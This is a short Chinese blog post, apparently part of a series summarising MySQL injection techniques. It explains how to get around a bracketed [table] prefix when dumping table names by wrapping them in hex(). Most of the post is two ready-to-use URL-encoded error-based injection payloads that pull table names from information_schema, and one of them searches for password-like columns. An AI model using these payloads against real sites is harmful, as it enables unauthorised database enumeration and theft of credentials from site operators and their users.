Mysql注入總結(三)

標籤：sql injection

昨天整理點東西的時候看到了幾年前以前收集的一篇文章，今天也就寫兩個字。

說的是爆表的時候出現[table]首碼，後來改用hex()，然後unhex()出現真正的表名

代碼如下：

‘union+select+1+from+(select+count(*),concat(floor(rand(0)*2),0x3a,(select+table_name+from+information_schema.columns+where+table_schema=database()+and+column_name+like+‘%pass%‘+limit+0,1),0x3a)a+from+information_schema.tables+group+by+a)b#-1.html

‘union+select+1+from+(select+count(*),concat(floor(rand(0)*2),0x3a,(select+hex(table_name)+from+information_schema.tables+where+table_schema=database()+limit+48,1),0x3a)a+from+information_schema.tables+group++by+a)b#-1.html

原文:《MYSQL注入解決方括弧[table]首碼問題》

Mysql注入總結(三)